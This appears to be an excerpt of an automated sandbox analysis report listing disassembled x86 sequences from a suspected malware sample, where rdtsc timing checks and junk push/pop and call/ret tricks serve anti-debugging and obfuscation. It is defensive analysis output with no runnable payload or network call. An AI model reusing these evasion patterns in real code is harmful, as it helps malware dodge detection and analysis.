Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9A7229 second address: 9A722D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9A72F2 second address: 9A72F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9A83F3 second address: 9A840C instructions: 0x00000000 rdtsc 0x00000002 je 00007FB570775C58h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 js 00007FB570775C56h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9AA17F second address: 9AA183 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9AA183 second address: 9AA187 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9ADA16 second address: 9ADAAE instructions: 0x00000000 rdtsc 0x00000002 jl 00007FB57088F9D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push eax 0x0000000f call 00007FB57088F9D8h 0x00000014 pop eax 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 add dword ptr [esp+04h], 0000001Bh 0x00000021 inc eax 0x00000022 push eax 0x00000023 ret 0x00000024 pop eax 0x00000025 ret 0x00000026 jmp 00007FB57088F9DEh 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push ecx 0x00000030 call 00007FB57088F9D8h 0x00000035 pop ecx 0x00000036 mov dword ptr [esp+04h], ecx 0x0000003a add dword ptr [esp+04h], 0000001Bh 0x00000042 inc ecx 0x00000043 push ecx 0x00000044 ret 0x00000045 pop ecx 0x00000046 ret 0x00000047 mov dword ptr [ebp+122D3195h], edi 0x0000004d push 00000000h 0x0000004f push 00000000h 0x00000051 push esi 0x00000052 call 00007FB57088F9D8h 0x00000057 pop esi 0x00000058 mov dword ptr [esp+04h], esi 0x0000005c add dword ptr [esp+04h], 00000016h 0x00000064 inc esi 0x00000065 push esi 0x00000066 ret 0x00000067 pop esi 0x00000068 ret 0x00000069 clc 0x0000006a push eax 0x0000006b jp 00007FB57088F9E2h 0x00000071 js 00007FB57088F9DCh 0x00000077 push eax 0x00000078 push edx 0x00000079 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9ADC9B second address: 9ADC9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9B1C3C second address: 9B1C40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9AFC5B second address: 9AFC5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9B1C40 second address: 9B1C69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 je 00007FB57088F9F7h 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FB57088F9E9h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9AFC5F second address: 9AFC63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9B1C69 second address: 9B1CC9 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push esi 0x0000000a call 00007FB57088F9D8h 0x0000000f pop esi 0x00000010 mov dword ptr [esp+04h], esi 0x00000014 add dword ptr [esp+04h], 00000016h 0x0000001c inc esi 0x0000001d push esi 0x0000001e ret 0x0000001f pop esi 0x00000020 ret 0x00000021 mov dword ptr [ebp+122D1EB4h], esi 0x00000027 push 00000000h 0x00000029 push eax 0x0000002a ja 00007FB57088F9DCh 0x00000030 pop ebx 0x00000031 jmp 00007FB57088F9E2h 0x00000036 push 00000000h 0x00000038 push eax 0x00000039 pushad 0x0000003a push eax 0x0000003b push edx 0x0000003c jmp 00007FB57088F9DDh 0x00000041 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9B3DAB second address: 9B3DB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9B3DB1 second address: 9B3DB5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9B3DB5 second address: 9B3E0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FB570775C5Bh 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FB570775C69h 0x00000013 jc 00007FB570775C78h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9B3E0A second address: 9B3E14 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FB57088F9DCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9B1E0F second address: 9B1E15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9B1E15 second address: 9B1E1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9B4850 second address: 9B4854 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9B1F04 second address: 9B1F08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9BC401 second address: 9BC409 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9BC560 second address: 9BC57D instructions: 0x00000000 rdtsc 0x00000002 je 00007FB57088F9D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnl 00007FB57088F9DEh 0x00000010 popad 0x00000011 pushad 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9BC762 second address: 9BC798 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB570775C64h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a jl 00007FB570775C56h 0x00000010 pop ecx 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FB570775C61h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9BC798 second address: 9BC7B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB57088F9E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jbe 00007FB57088F9DAh 0x0000000f push eax 0x00000010 pop eax 0x00000011 push esi 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9C12E4 second address: 9C12EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9C12EA second address: 9C1326 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB57088F9DFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d jmp 00007FB57088F9DCh 0x00000012 pushad 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 popad 0x00000019 mov eax, dword ptr [esp+04h] 0x0000001d push eax 0x0000001e push edx 0x0000001f jg 00007FB57088F9DCh 0x00000025 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9C1326 second address: 9C132B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9C1411 second address: 9C1415 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9C1415 second address: 9C1419 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9C5BF6 second address: 9C5BFA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9C5BFA second address: 9C5C18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FB570775C64h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9C5C18 second address: 9C5C21 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9C5C21 second address: 9C5C27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9C623F second address: 9C6253 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 jmp 00007FB57088F9DBh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9C6253 second address: 9C625F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 je 00007FB570775C56h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9C625F second address: 9C6264 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9C63D7 second address: 9C63FF instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FB570775C56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jng 00007FB570775C56h 0x00000013 push eax 0x00000014 pop eax 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FB570775C60h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9C63FF second address: 9C6403 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9C658D second address: 9C65A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB570775C68h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9C65A9 second address: 9C65DE instructions: 0x00000000 rdtsc 0x00000002 jno 00007FB57088F9D6h 0x00000008 jmp 00007FB57088F9DDh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jnc 00007FB57088F9D6h 0x00000016 jmp 00007FB57088F9E5h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9C65DE second address: 9C65EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9C69E9 second address: 9C6A06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FB57088F9DEh 0x0000000e jbe 00007FB57088F9D6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9C6A06 second address: 9C6A19 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB570775C5Ah 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9C6CA9 second address: 9C6CB3 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FB57088F9DEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9CCC49 second address: 9CCC85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FB570775C66h 0x0000000a pushad 0x0000000b jmp 00007FB570775C69h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9CBA50 second address: 9CBA6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FB57088F9E4h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9CC108 second address: 9CC10C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9CC10C second address: 9CC11C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FB57088F9DAh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9CC683 second address: 9CC689 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9735C2 second address: 9735C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9735C8 second address: 9735D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9735D3 second address: 9735D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9D1E7D second address: 9D1E97 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007FB570775C56h 0x00000009 ja 00007FB570775C56h 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 popad 0x00000012 jg 00007FB570775C62h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 98DD0F second address: 98DD2B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB57088F9E8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 98DD2B second address: 98DD31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 98DD31 second address: 98DD35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 98DD35 second address: 972A27 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FB570775C68h 0x0000000e nop 0x0000000f and edi, dword ptr [ebp+122D2825h] 0x00000015 mov edx, eax 0x00000017 call dword ptr [ebp+122D2AFEh] 0x0000001d pushad 0x0000001e pushad 0x0000001f push eax 0x00000020 pop eax 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 98DE22 second address: 98DE3C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB57088F9E6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 98DE3C second address: 98DEEE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB570775C5Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FB570775C5Ch 0x0000000f xchg eax, ebx 0x00000010 push dword ptr fs:[00000000h] 0x00000017 and edx, dword ptr [ebp+122D2885h] 0x0000001d mov dword ptr fs:[00000000h], esp 0x00000024 mov dword ptr [ebp+12488B21h], esp 0x0000002a push esi 0x0000002b mov edi, dword ptr [ebp+122D2A31h] 0x00000031 pop ecx 0x00000032 add dword ptr [ebp+122D318Ch], edi 0x00000038 cmp dword ptr [ebp+122D272Dh], 00000000h 0x0000003f jne 00007FB570775D61h 0x00000045 mov edi, 5E772FABh 0x0000004a mov byte ptr [ebp+122D1A1Ah], 00000047h 0x00000051 push 00000000h 0x00000053 push eax 0x00000054 call 00007FB570775C58h 0x00000059 pop eax 0x0000005a mov dword ptr [esp+04h], eax 0x0000005e add dword ptr [esp+04h], 00000016h 0x00000066 inc eax 0x00000067 push eax 0x00000068 ret 0x00000069 pop eax 0x0000006a ret 0x0000006b mov edx, dword ptr [ebp+122D2939h] 0x00000071 mov eax, D49AA7D2h 0x00000076 push 00000000h 0x00000078 push ecx 0x00000079 call 00007FB570775C58h 0x0000007e pop ecx 0x0000007f mov dword ptr [esp+04h], ecx 0x00000083 add dword ptr [esp+04h], 00000017h 0x0000008b inc ecx 0x0000008c push ecx 0x0000008d ret 0x0000008e pop ecx 0x0000008f ret 0x00000090 mov dx, si 0x00000093 nop 0x00000094 pushad 0x00000095 jbe 00007FB570775C5Ch 0x0000009b push eax 0x0000009c push edx 0x0000009d rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 98E2C8 second address: 98E2CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 98E2CD second address: 98E2E5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FB570775C5Ch 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 98E2E5 second address: 98E2E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 98E504 second address: 98E54B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 jmp 00007FB570775C64h 0x0000000c xchg eax, esi 0x0000000d push 00000000h 0x0000000f push ebp 0x00000010 call 00007FB570775C58h 0x00000015 pop ebp 0x00000016 mov dword ptr [esp+04h], ebp 0x0000001a add dword ptr [esp+04h], 0000001Ch 0x00000022 inc ebp 0x00000023 push ebp 0x00000024 ret 0x00000025 pop ebp 0x00000026 ret 0x00000027 nop 0x00000028 push eax 0x00000029 push edx 0x0000002a push ebx 0x0000002b push ebx 0x0000002c pop ebx 0x0000002d pop ebx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 98E787 second address: 98E7A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB57088F9DEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007FB57088F9DBh 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 98E8D9 second address: 98E8FC instructions: 0x00000000 rdtsc 0x00000002 jng 00007FB570775C56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b nop 0x0000000c or ch, FFFFFFEBh 0x0000000f push 00000004h 0x00000011 stc 0x00000012 nop 0x00000013 pushad 0x00000014 jmp 00007FB570775C5Bh 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 98E8FC second address: 98E900 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 98EC62 second address: 98EC6D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 98EC6D second address: 98ECBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push ebx 0x0000000c call 00007FB57088F9D8h 0x00000011 pop ebx 0x00000012 mov dword ptr [esp+04h], ebx 0x00000016 add dword ptr [esp+04h], 0000001Bh 0x0000001e inc ebx 0x0000001f push ebx 0x00000020 ret 0x00000021 pop ebx 0x00000022 ret 0x00000023 push 0000001Eh 0x00000025 jp 00007FB57088F9EDh 0x0000002b jmp 00007FB57088F9E7h 0x00000030 nop 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 pushad 0x00000035 popad 0x00000036 pop eax 0x00000037 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 98EE0C second address: 98EE12 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 98F0BB second address: 98F0C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 98F0C0 second address: 98F118 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB570775C67h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jmp 00007FB570775C69h 0x0000000f jmp 00007FB570775C61h 0x00000014 lea eax, dword ptr [ebp+12488B0Dh] 0x0000001a mov ecx, dword ptr [ebp+122D2A31h] 0x00000020 push eax 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 98F118 second address: 98F11C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 98F11C second address: 98F14F instructions: 0x00000000 rdtsc 0x00000002 jo 00007FB570775C56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jno 00007FB570775C58h 0x00000010 popad 0x00000011 mov dword ptr [esp], eax 0x00000014 mov edi, dword ptr [ebp+122D2969h] 0x0000001a lea eax, dword ptr [ebp+12488AC9h] 0x00000020 mov dx, 0742h 0x00000024 movsx edi, si 0x00000027 nop 0x00000028 pushad 0x00000029 jng 00007FB570775C5Ch 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 98F14F second address: 9735C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FB57088F9D8h 0x0000000a popad 0x0000000b push eax 0x0000000c jmp 00007FB57088F9E7h 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push eax 0x00000015 call 00007FB57088F9D8h 0x0000001a pop eax 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f add dword ptr [esp+04h], 0000001Bh 0x00000027 inc eax 0x00000028 push eax 0x00000029 ret 0x0000002a pop eax 0x0000002b ret 0x0000002c xor cx, A800h 0x00000031 add dword ptr [ebp+122D2B0Dh], ebx 0x00000037 call dword ptr [ebp+12466586h] 0x0000003d pushad 0x0000003e pushad 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9D21A8 second address: 9D21C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jp 00007FB570775C56h 0x0000000c jmp 00007FB570775C64h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	RDTSC instruction interceptor: First address: 9D21C8 second address: 9D21D8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB57088F9DCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
